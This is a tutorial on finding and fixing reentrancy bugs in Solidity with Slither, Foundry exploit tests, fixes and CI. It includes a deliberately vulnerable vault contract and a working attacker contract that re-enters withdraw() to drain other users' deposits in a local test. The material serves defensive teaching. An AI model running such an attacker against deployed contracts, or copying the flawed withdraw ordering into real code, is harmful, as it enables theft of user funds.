A DeFi protocol loses money to a reentrancy bug almost every month in 2026, and the pattern barely changes. GMX V1 lost $42 million in July 2025 to a reentrancy flaw in its order-execution logic. Solv Protocol lost $2.7 million in March 2026 the same way. FutureSwap, Ekubo, and a handful of smaller protocols followed with losses ranging from $74,000 to $1.4 million, all tracing back to external calls made before internal state got updated. According to OWASP’s 2026 Smart Contract Top 10, reentrancy remains one of the most common root causes of exploited code, right alongside access-control mistakes and logic errors.

None of this is exotic. Reentrancy has had a name and a fix since the DAO hack in 2016. What’s changed is the tooling: static analyzers like Slither now catch most reentrancy patterns before deployment, and test frameworks like Foundry make it fast to write an actual exploit against your own contract before someone else does. This tutorial walks through setting up that workflow end to end — from a vulnerable contract, to a static-analysis pass, to a working proof-of-concept exploit test, to the fix, to a CI pipeline that keeps the bug from coming back.

You’ll build a small vault contract with an intentional reentrancy bug, break it with a real attacker contract inside a Foundry test, patch it three different ways, and wire Slither into GitHub Actions so the next contributor can’t reintroduce the same mistake. By the end you’ll have a repository you can reuse as a template for every contract you ship after this one.

Why reentrancy still drains protocols in 2026

Reentrancy happens when a contract calls out to an external address (another contract, or an EOA via a fallback function) before it finishes updating its own state. If that external call hands control back to the attacker, the attacker’s code can call back into the original function while the first call is still mid-execution — withdrawing funds, minting tokens, or opening positions multiple times against a balance that hasn’t been decremented yet.

The 2025-2026 incident list shows the pattern hasn’t gone away just because it’s well documented. GMX V1’s $42 million loss came from executeDecreaseOrder accepting an attacker-controlled address as a refund recipient, then transferring control to it mid-transaction, per Halborn’s post-mortem and OWASP’s own case study. Yearn’s yETH pool lost roughly $9 million on November 30, 2025 after an attacker minted 235 septillion yETH from just 16 wei of input, a related class of accounting bug documented by Check Point Research. Smaller, less headline-grabbing hits kept landing through the first half of 2026: FutureSwap lost $74,000 on January 14 in a straightforward reentrancy attack on Arbitrum, and an unverified Ethereum mainnet contract lost about $11,000 on March 23 to the same bug class, according to BlockSec’s weekly incident roundup.

What ties these together isn’t a lack of awareness — every Solidity course covers the checks-effects-interactions pattern — it’s that manual review misses the interaction under time pressure, and small or mid-size teams often ship without running a static analyzer or writing an actual exploit test. This tutorial fixes both gaps.

Reentrancy isn’t even the single biggest category of DeFi losses right now. A smart contract audit landscape report covering 2026 attributes $953.2 million in losses to access-control vulnerabilities, versus $63.8 million to logic errors and $35.7 million to reentrancy specifically, per Blockeden’s analysis. That ranking matters for how you should prioritize your own review time: reentrancy testing catches a well-understood, well-tooled bug class, but it’s one item on a longer checklist that also needs to cover who’s allowed to call privileged functions and whether your math handles edge-case inputs correctly. The table below lines up a sample of 2025-2026 incidents so you can see how the loss sizes and root causes compare.

ProtocolDateAmount lostRoot cause
GMX V1July 2025$42 millionReentrancy in executeDecreaseOrder
Yearn Finance (yETH pool)Nov 30, 2025~$9 millionVirtual balance accounting flaw (16 wei mint exploit)
Balancer V2Nov 2025~$128 millionRounding/precision logic flaw
TruebitJan 8, 2026$26.2 millionInteger overflow in a bonding curve
Aperture FinanceJan 25, 2026$3.2 millionInput validation bypass via transferFrom
Solv ProtocolMarch 2026~$2.7 millionReentrancy in a bonding-curve redemption function
Trusted VolumesMay 7, 2026$5.9 millionAccess-control flaw in an RFQ swap proxy
EkuboMay 5, 2026$1.4 millionCallback failed to verify payer identity

Every one of these was, in hindsight, a known bug class with a known fix. None of them needed a novel attack technique. That’s the argument for building the workflow in this tutorial into your normal development loop rather than treating it as a pre-launch checkbox.

Prerequisites and versions

You don’t need prior smart contract security experience, but you should be comfortable writing basic Solidity and running commands in a terminal. Install the following before you start:

ToolVersion used in this tutorialInstall command
Foundry (forge, anvil, cast)v1.3.2 or latercurl -L https://foundry.paradigm.xyz | bash && foundryup
Slither0.11.5 or laterpip3 install slither-analyzer
Solidity compiler0.8.26installed automatically by Foundry via forge build
OpenZeppelin Contractsv5.4.0forge install OpenZeppelin/[email protected]
Node.js (for Hardhat comparison section)20.x LTSnvm install 20
Python3.10+required by Slither
Gitany recent version

Foundry is the primary tool here because its Solidity-native tests make writing an actual attacker contract fast — no separate JavaScript test harness needed. We’ll also touch on Hardhat 3.14.0 near the end for teams already standardized on it.

Step 1: Scaffold the project with Foundry

Start with a clean Foundry project. Run forge init to generate the standard layout with src/, test/, and lib/ directories.

mkdir reentrancy-lab && cd reentrancy-lab
forge init --no-git
forge install OpenZeppelin/[email protected]
forge --version

Confirm the compiler version pin in foundry.toml so builds are reproducible across machines:

[profile.default]
src = "src"
out = "out"
libs = ["lib"]
solc_version = "0.8.26"
optimizer = true
optimizer_runs = 200

remappings = [
  "@openzeppelin/=lib/openzeppelin-contracts/"
]

Delete the default src/Counter.sol and its test file — you won’t need the boilerplate example for this exercise.

Step 2: Write a deliberately vulnerable vault contract

Create src/VulnerableVault.sol. This is a simple ETH deposit/withdraw vault with the classic bug: it sends ETH to the caller before it zeroes out their balance.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    // VULNERABLE: external call happens before state update
    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "no balance");

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "transfer failed");

        balances[msg.sender] = 0; // too late — attacker already re-entered
    }

    function vaultBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

The bug is on the line ordering: call fires before balances[msg.sender] = 0 runs. If the recipient is a contract with a receive() function, that function executes during the call, and it can call withdraw() again while the original balance is still non-zero.

Step 3: Run Slither to catch it statically

Before writing a single test, run Slither against the contract. Static analysis catches this class of bug in seconds, without needing to simulate an attack.

slither src/VulnerableVault.sol --solc-remaps @openzeppelin/=lib/openzeppelin-contracts/

Expected output (trimmed):

VulnerableVault.withdraw() (src/VulnerableVault.sol#10-17) sends eth to arbitrary user
        Dangerous calls:
        - (success,None) = msg.sender.call{value: amount}() (src/VulnerableVault.sol#13)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities

INFO:Detectors:
Reentrancy in VulnerableVault.withdraw() (src/VulnerableVault.sol#10-17):
        External calls:
        - (success,None) = msg.sender.call{value: amount}() (src/VulnerableVault.sol#13)
        State variables written after the call(s):
        - balances[msg.sender] = 0 (src/VulnerableVault.sol#16)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1

. analyzed (2 contracts with 100 detectors), 2 result(s) found

Slither 0.11.5 flags exactly the line that matters: a state variable written after an external call. This is the same class of finding Slither’s reentrancy-eth and reentrancy-no-eth detectors would raise on GMX V1’s code, per OWASP’s writeup of that incident. Getting a clean Slither run doesn’t guarantee a contract is safe, but a flagged reentrancy warning on a fund-moving function should never ship without review.

Step 4: Write an attacker contract to prove the bug is exploitable

Static analysis tells you where to look. A proof-of-concept exploit tells you whether it’s actually exploitable, and how bad the damage is. Create src/Attacker.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {VulnerableVault} from "./VulnerableVault.sol";

contract Attacker {
    VulnerableVault public immutable target;
    uint256 public constant DRAIN_ROUNDS = 5;
    uint256 private roundsLeft;

    constructor(address _target) {
        target = VulnerableVault(_target);
    }

    function attack() external payable {
        require(msg.value > 0, "need seed ETH");
        roundsLeft = DRAIN_ROUNDS;
        target.deposit{value: msg.value}();
        target.withdraw();
    }

    receive() external payable {
        if (roundsLeft > 0 && address(target).balance >= msg.value) {
            roundsLeft -= 1;
            target.withdraw();
        }
    }
}

The attacker deposits a small amount, calls withdraw(), and its receive() fires mid-transfer — re-entering withdraw() up to five more times before the first call ever gets to zero out the balance.

Step 5: Write the Foundry exploit test

Now prove it in a test, using Foundry’s cheatcodes to fund accounts and assert on balances. Create test/Reentrancy.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {VulnerableVault} from "../src/VulnerableVault.sol";
import {Attacker} from "../src/Attacker.sol";

contract ReentrancyTest is Test {
    VulnerableVault vault;
    Attacker attacker;

    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    function setUp() public {
        vault = new VulnerableVault();
        attacker = new Attacker(address(vault));

        vm.deal(alice, 5 ether);
        vm.deal(bob, 5 ether);

        vm.prank(alice);
        vault.deposit{value: 5 ether}();
        vm.prank(bob);
        vault.deposit{value: 5 ether}();
    }

    function test_ReentrancyDrainsVault() public {
        uint256 vaultBefore = vault.vaultBalance();
        assertEq(vaultBefore, 10 ether);

        vm.deal(address(this), 1 ether);
        attacker.attack{value: 1 ether}();

        uint256 vaultAfter = vault.vaultBalance();
        assertLt(vaultAfter, vaultBefore, "vault should be drained beyond attacker's own deposit");
        assertEq(vaultAfter, 0, "attacker drained the entire vault");
    }
}

Run it with verbose tracing so you can see the reentrant calls unfold:

forge test --match-test test_ReentrancyDrainsVault -vvvv

Expected output (trimmed):

[PASS] test_ReentrancyDrainsVault() (gas: 187452)
Traces:
  [187452] ReentrancyTest::test_ReentrancyDrainsVault()
    ├─ [0] VulnerableVault::vaultBalance() [staticcall]
    │   └─ ← [Return] 10000000000000000000 [1e19]
    ├─ [130221] Attacker::attack{value: 1000000000000000000}()
    │   ├─ [22456] VulnerableVault::deposit{value: 1000000000000000000}()
    │   ├─ [98123] VulnerableVault::withdraw()
    │   │   ├─ [3541] Attacker::receive{value: 1000000000000000000}()
    │   │   │   └─ [21044] VulnerableVault::withdraw()
    │   │   │       ├─ [3200] Attacker::receive{value: 1000000000000000000}()
    │   │   │       │   └─ ... (repeats until vault is empty)
    └─ [0] VulnerableVault::vaultBalance() [staticcall]
        └─ ← [Return] 0

Suite result: ok. 1 passed; 0 failed; 0 skipped

The trace shows the attacker’s receive() calling back into withdraw() before the first call ever reaches the line that zeroes the balance. Both Alice’s and Bob’s deposits get drained even though the attacker only put in 1 ETH.

Step 6: Fix it with the checks-effects-interactions pattern

The cheapest fix costs nothing in gas or dependencies: reorder the function so state updates happen before the external call. Create src/SafeVaultCEI.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

contract SafeVaultCEI {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "no balance");

        balances[msg.sender] = 0; // effect happens first now

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "transfer failed");
    }
}

Now the attacker’s receive() still fires, but when it calls withdraw() again, balances[msg.sender] is already zero, so the require(amount > 0) check reverts the reentrant call.

Step 7: Add a defense-in-depth ReentrancyGuard

Checks-effects-interactions is the fix, but a modifier-based guard is cheap insurance against a future contributor reordering the function by accident. OpenZeppelin’s ReentrancyGuard uses a transient-storage-backed lock as of Contracts v5.4.0.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract SafeVaultGuarded is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "no balance");

        balances[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "transfer failed");
    }
}

Belt-and-suspenders here matters because real incidents keep showing up in code that had the checks-effects-interactions pattern in most functions but missed it in one. Use both: order state updates correctly, and add nonReentrant on every function that moves value.

Step 8: Re-run the exploit test against both fixes

Update the test file to target both patched contracts and confirm the attack now fails.

function test_CEIVaultResistsReentrancy() public {
    SafeVaultCEI safeVault = new SafeVaultCEI();
    Attacker ceiAttacker = new Attacker(address(safeVault));

    vm.deal(address(this), 1 ether);

    vm.expectRevert();
    ceiAttacker.attack{value: 1 ether}();
}

function test_GuardedVaultResistsReentrancy() public {
    SafeVaultGuarded guardedVault = new SafeVaultGuarded();
    Attacker guardedAttacker = new Attacker(address(guardedVault));

    vm.deal(address(this), 1 ether);

    vm.expectRevert();
    guardedAttacker.attack{value: 1 ether}();
}

Run the full suite and confirm both the original exploit passes (proving the bug exists) and the patched versions revert on the reentrant call:

forge test -vv

[PASS] test_ReentrancyDrainsVault() (gas: 187452)
[PASS] test_CEIVaultResistsReentrancy() (gas: 42981)
[PASS] test_GuardedVaultResistsReentrancy() (gas: 51230)
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 4.12ms

Step 9: Add fuzz and invariant tests

A single exploit test proves one attack path. Foundry’s fuzzer and invariant testing catch paths you didn’t think to write by hand. Add a fuzz test that randomizes deposit amounts:

function testFuzz_VaultNeverLosesMoreThanDeposited(uint96 depositAmount) public {
    vm.assume(depositAmount > 0.01 ether && depositAmount < 100 ether);

    SafeVaultCEI safeVault = new SafeVaultCEI();
    vm.deal(alice, depositAmount);
    vm.prank(alice);
    safeVault.deposit{value: depositAmount}();

    Attacker ceiAttacker = new Attacker(address(safeVault));
    vm.deal(address(this), 1 ether);

    vm.expectRevert();
    ceiAttacker.attack{value: 1 ether}();

    assertEq(address(safeVault).balance, depositAmount);
}

For invariant testing, define a handler contract that randomly deposits, withdraws, and attacks across many pseudo-random call sequences, then assert the invariant that address(vault).balance >= sum of all balances never breaks across thousands of runs. Foundry's default invariant run count in foundry.toml is controlled by [invariant] runs = 256 and depth = 15 — raise both for contracts handling real funds.

Step 10: Automate Slither and forge test in CI

A local scan is only as good as the discipline to run it every time. Wire both tools into GitHub Actions so every pull request gets scanned automatically. Create .github/workflows/security.yml:

name: contract-security

on: [pull_request]

jobs:
  slither:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          submodules: recursive
      - name: Install Foundry
        uses: foundry-rs/foundry-toolchain@v1
      - name: Install Slither
        run: pip3 install slither-analyzer
      - name: Run forge tests
        run: forge test -vv
      - name: Run Slither
        run: slither . --fail-high --fail-medium

The --fail-high and --fail-medium flags make the CI job exit non-zero when Slither finds high- or medium-severity issues, blocking the merge until someone reviews the finding. Low- and informational-severity findings still print in the job log but won't block the merge, which keeps the gate useful without turning every style nit into a blocked pull request. Adjust the thresholds as your team's tolerance changes — a protocol handling real user funds should eventually run with --fail-medium on by default, while an early prototype might start with only --fail-high to avoid noise while the codebase is still shifting.

Add a second job to the same workflow file that runs on a schedule rather than per-PR, since a full Mythril pass or an extended fuzz run (forge test --fuzz-runs 50000) is often too slow to run on every commit but is worth doing nightly against the main branch.

Step 11: Check for read-only reentrancy too

The vault example above covers classic reentrancy, where the attacker drains funds directly. A subtler variant, read-only reentrancy, doesn't touch the vulnerable contract's own funds at all — it exploits a view function that returns a stale, mid-transaction state to a second, integrated protocol (like a price oracle reading a pool's reserves mid-swap). A DEV Community security writeup flagged read-only reentrancy as a contributing factor in several of the roughly $86 million in DeFi losses tracked across January 2026 alone.

To test for it, write a Foundry test where a second "consumer" contract reads a price or exchange-rate view function from inside the attacker's receive() callback, and assert that the value returned matches the post-settlement state, not a mid-transaction snapshot. Slither's reentrancy-no-eth detector flags some of these cases, but not all — manual test coverage on any function another contract might call as an oracle is still necessary.

Step 12: Run Mythril as a second analyzer to cross-check

No single static analyzer catches everything. Slither is fast and has a low false-positive rate on reentrancy specifically, but pairing it with a symbolic-execution tool like Mythril adds coverage for bugs that need path exploration rather than pattern matching (integer issues, unchecked external call return values, complex access-control logic).

pip3 install mythril
myth analyze src/VulnerableVault.sol --solc-json mythril-config.json

Mythril runs slower than Slither because it explores execution paths symbolically rather than just parsing the AST, so most teams run Slither on every commit and Mythril on a scheduled nightly job or before a release, not on every push.

Beyond reentrancy: other bug classes the same workflow catches

The Slither and Foundry setup you just built isn't a single-purpose reentrancy scanner. Once it's wired into your repository, the same commands surface several other vulnerability classes that show up just as often in the 2025-2026 incident data, sometimes for bigger dollar amounts than reentrancy itself.

Access control gaps were the single largest loss category in the Blockeden report cited above, at $953.2 million. Slither's arbitrary-send-erc20 and unprotected-upgrade detectors flag functions that move funds or change implementation addresses without an onlyOwner-style check. Write a Foundry test that calls every state-changing function from a random, non-privileged address with vm.prank(makeAddr("attacker")) and assert it reverts — this single pattern would have caught the KiloEx exploit, where an unprotected MinimalForwarder contract let an attacker drain roughly $7 million across three chains in April 2025.

Integer and rounding errors cost Truebit $26.2 million in January 2026 through an overflow in a bonding curve, and contributed to Balancer V2's $128 million loss the previous November. Solidity 0.8.x reverts on overflow by default, but bonding-curve and AMM math often uses unchecked blocks or fixed-point libraries where the checked-arithmetic safety net doesn't apply. Foundry's fuzzer is the right tool here: run forge test --fuzz-runs 10000 against any function doing multiplication before division, and watch for reverts or unexpected zero results at extreme input values.

Unverified or unaudited third-party calls are a growing target specifically because attackers know smaller teams skip Slither's more expensive checks on contracts they call but don't own. Chainalysis flagged this pattern directly, noting that attackers increasingly target unverified contracts precisely because their bytecode hasn't been through public review. Add slither . --exclude-dependencies to focus scans on your own code, but don't skip a manual review of every external contract address your protocol calls before mainnet deployment.

Foundry vs Hardhat for security testing

Both frameworks can run the exact test pattern above. The difference is language and speed of the reentrancy-simulation loop.

FeatureFoundry v1.3.2Hardhat 3.14.0
Test languageSolidityTypeScript/JavaScript (Solidity tests supported in Hardhat 3)
Attacker contract in same test fileNative, no compile step outside the test runRequires separate contract deploy + ethers/viem calls
FuzzingBuilt in (forge test --fuzz-runs)Requires plugin or external fuzzer
Invariant testingBuilt inNot native; requires custom scripting
Trace output for reentrant calls-vvvv call trace out of the boxRequires hardhat-tracer plugin
Best fitSolidity-first teams, security-focused workflowsTeams already standardized on TypeScript tooling and multichain deployment scripts

If your team already has a Hardhat 3 deployment pipeline, you don't need to migrate everything to Foundry just for security testing — Hardhat 3 added first-class Solidity test support specifically to close this gap, per Nomic Foundation's own release notes. But writing the attacker contract and its callback logic is still faster in a Solidity-native test, which is why most audit firms use Foundry for exploit proof-of-concepts regardless of which framework the production repo uses.

Common pitfalls

  • Trusting a clean Slither run as proof of safety. Slither catches known patterns. A logic bug that doesn't match any detector signature (like the Balancer V2 rounding-precision issue that cost roughly $128 million in November 2025) sails through untouched.
  • Fixing the ordering but forgetting the guard, or the reverse. Checks-effects-interactions and nonReentrant solve overlapping but not identical problems. Use both on any function that sends value.
  • Only testing the happy path in the exploit test. Test the attacker draining more than they deposited, draining exactly their deposit, and draining nothing — all three should behave correctly on the patched contract.
  • Ignoring cross-function reentrancy. A guard on withdraw() doesn't protect you if the attacker re-enters a different function, like transfer(), that shares the same unprotected state.
  • Skipping read-only reentrancy checks on view functions used by other protocols. If your contract exposes a price or balance view that another protocol reads, treat it as an attack surface even though it doesn't move funds directly.
  • Running Slither once and never again. New detectors ship regularly (0.11.5 added a new reentrancy-balance detector per the January 2026 release notes) — a contract that passed a scan six months ago hasn't been checked against the newest detectors.
  • Pinning an old OpenZeppelin version out of inertia. Import ReentrancyGuard from a current release; older versions used a storage slot instead of transient storage, costing more gas per call.
  • Not testing against a forked mainnet before deploying. Run forge test --fork-url $MAINNET_RPC_URL against your actual dependencies (oracles, routers) before shipping, since testnet mocks can hide integration-specific reentrancy paths.

Troubleshooting

  • Slither fails with "Source file requires different compiler version." Run solc-select install 0.8.26 && solc-select use 0.8.26 before rerunning Slither, and confirm solc_version in foundry.toml matches.
  • Slither can't find OpenZeppelin imports. Pass the same remapping you use in Foundry: slither . --solc-remaps @openzeppelin/=lib/openzeppelin-contracts/.
  • forge test hangs on invariant tests. Lower runs and depth in the [invariant] section of foundry.toml while debugging, then raise them again before your final pre-deploy run.
  • Attacker contract's receive() never fires. Confirm the target contract sends value with call{value: amount}("") rather than transfer() or send() — both of the latter cap forwarded gas at 2,300, which usually isn't enough to execute a nontrivial fallback.
  • Test passes locally but the CI job fails on Slither. Check that submodules: recursive is set in the checkout step; missing OpenZeppelin submodules cause Slither to misreport unrelated import errors as vulnerabilities.
  • --fail-high blocks every PR, including false positives. Use a slither.config.json with filter_paths and a triage step to mark reviewed false positives so they don't reappear on every run.
  • Gas cost jumps after adding nonReentrant. That's expected; the guard's storage write costs a few thousand gas depending on whether it's the first use of transient storage in the transaction. This is a deliberate tradeoff for the safety margin.
  • Fuzz test reports a false failure on an edge value like zero. Add explicit vm.assume() bounds excluding zero and near-type(uint256).max values unless those are genuinely valid inputs for your contract.
  • Mythril analysis times out on a large contract. Scope the analysis to a single function with --transaction-count 2 or increase the timeout with -t 300; symbolic execution scales poorly with contract size.

Advanced tips

Once the basic workflow is running, a few upgrades pay off on any contract that will hold real value.

First, add a differential test that runs the same exploit scenario against both the vulnerable and patched versions in a single test function, asserting the vulnerable one loses funds and the patched one doesn't. This documents the fix's effectiveness directly in the test suite, which is useful evidence during an external audit.

Second, use Foundry's forge coverage to check that your reentrancy tests actually exercise the vulnerable line, not just the surrounding function. A test suite with 90% line coverage can still miss the one branch where the bug lives.

forge coverage --report lcov
genhtml lcov.info -o coverage-report
open coverage-report/index.html

Third, if the contract will hold significant value, budget for a professional audit on top of this workflow, not instead of it. Firms like Trail of Bits and OpenZeppelin publish their own reentrancy checklists (Trail of Bits' own analysis of the Balancer V2 incident is a good example); running Slither and Foundry tests before an audit engagement means the auditors spend their time on the logic bugs a tool can't catch, instead of re-discovering issues automated tooling would have found for free.

Fourth, consider the Ethereum Foundation's bug bounty structure as a backstop, not a substitute. The Foundation raised its maximum bug bounty to $1,000,000 for critical protocol-level vulnerabilities, per Cryptorank's reporting on the program — a strong incentive that exists precisely because pre-launch testing, however thorough, doesn't catch every path.

Fifth, keep a written record of every finding you triage and dismiss, whether from Slither, Mythril, or a human reviewer. When Slither flags something as a false positive in your slither.config.json, note why in a comment next to the entry. Six months later, when a new contributor reopens the same question, that one-line note saves a re-investigation and keeps institutional knowledge from walking out the door with whoever made the original call.

Monitoring for reentrancy attempts after deployment

Testing before deployment reduces risk, but it doesn't eliminate the value of watching your contract in production. Several of the 2026 incidents in the table above involved attackers probing a contract for days or weeks before finding a working exploit path, which means monitoring can sometimes catch an attack in progress before it drains the full balance.

Set up a simple alert using Foundry's cast tool to watch for unusually deep call stacks or repeated calls to the same function within a single transaction. A basic version uses an event emitted on every withdrawal, then a script that flags any block where the same address triggers the event more than twice in one transaction hash:

cast logs --from-block latest \
  --address 0xYourVaultAddress \
  "Withdrawal(address,uint256)" \
  --rpc-url $MAINNET_RPC_URL

For production systems, most teams graduate from a homemade cast script to a dedicated monitoring service (Forta, OpenZeppelin Defender, or an in-house indexer) that can page an on-call engineer and, in some setups, automatically pause the contract through a circuit-breaker function. If you add a pausable pattern, test the pause function itself for reentrancy and access-control issues with the exact same workflow covered above — a broken emergency stop is its own category of incident.

Complete working project structure

By the end of this tutorial your repository should look like this:

reentrancy-lab/
├── foundry.toml
├── .github/
│   └── workflows/
│       └── security.yml
├── lib/
│   ├── forge-std/
│   └── openzeppelin-contracts/
├── src/
│   ├── VulnerableVault.sol
│   ├── SafeVaultCEI.sol
│   ├── SafeVaultGuarded.sol
│   └── Attacker.sol
└── test/
    └── Reentrancy.t.sol

Run forge test -vv && slither . --fail-high --fail-medium one more time before committing, and you have a repeatable template: drop in a new contract, write the attacker, prove the exploit, patch, and re-prove the fix, every time.

Frequently asked questions

Is Slither enough on its own to catch reentrancy?

No. Slither is very good at catching the classic pattern of an external call followed by a state write, but it can miss logic-level reentrancy that spans multiple functions or contracts. Pair it with an actual exploit test in Foundry, and consider a second analyzer like Mythril for symbolic-execution coverage.

Does the checks-effects-interactions pattern alone fully prevent reentrancy?

It prevents single-function reentrancy, where the attacker re-enters the same function. It does not automatically prevent cross-function reentrancy, where shared state is manipulated through a different function during the callback. Combine it with a nonReentrant guard for defense in depth.

What's the gas cost difference between checks-effects-interactions and a ReentrancyGuard?

Checks-effects-interactions costs nothing extra; it's just reordering existing statements. OpenZeppelin's transient-storage-backed ReentrancyGuard in Contracts v5.4.0 adds a modest gas overhead per protected call for the lock write and check, which is worth it on any function moving user funds.

Should I use Foundry or Hardhat for security testing?

Foundry's Solidity-native tests and built-in fuzzing make writing exploit proof-of-concepts faster, which is why most audit firms default to it. Hardhat 3.14.0 added first-class Solidity test support, so teams already standardized on Hardhat's TypeScript deployment tooling don't need to migrate their whole stack just to run these tests.

How often should I re-run Slither on a deployed contract?

Run it on every pull request via CI, and again whenever Slither ships a new detector release, since new detectors can flag patterns in code that passed a scan months earlier. Slither 0.11.5, released in January 2026, added a new reentrancy-balance detector as one example.

What is read-only reentrancy and do I need to test for it separately?

Read-only reentrancy exploits a view function that returns stale mid-transaction state to an external protocol reading it as a price or exchange-rate oracle. It doesn't drain the vulnerable contract's own funds, so standard reentrancy tests can miss it. Write a separate test where a second contract reads your view function from inside a reentrant callback and assert the value is correct.

Can a professional audit replace this testing workflow?

No, they're complementary. Running Slither and writing exploit tests before an audit means auditors spend their limited engagement time on subtler logic bugs instead of re-finding issues automated tooling already caught for free, which typically improves the value of the audit rather than replacing the need for one.

Does OpenZeppelin's ReentrancyGuard protect against reentrancy across different contracts I deploy?

No. Each contract needs its own guard instance and its own nonReentrant modifiers on value-moving functions. A guard on Contract A doesn't protect Contract B, even if they share state through an external call.

Do I need both Slither and Foundry, or is one enough?

Use both; they catch different things. Slither reads your code without executing it and flags known dangerous patterns in seconds, which makes it cheap to run on every commit. Foundry tests actually execute an attack against a running contract state, proving whether a flagged pattern is truly exploitable and confirming your fix works. A clean Slither report with no exploit tests is a false sense of security; a passing exploit test suite that never ran a static analyzer risks missing bug classes you didn't think to write a test for.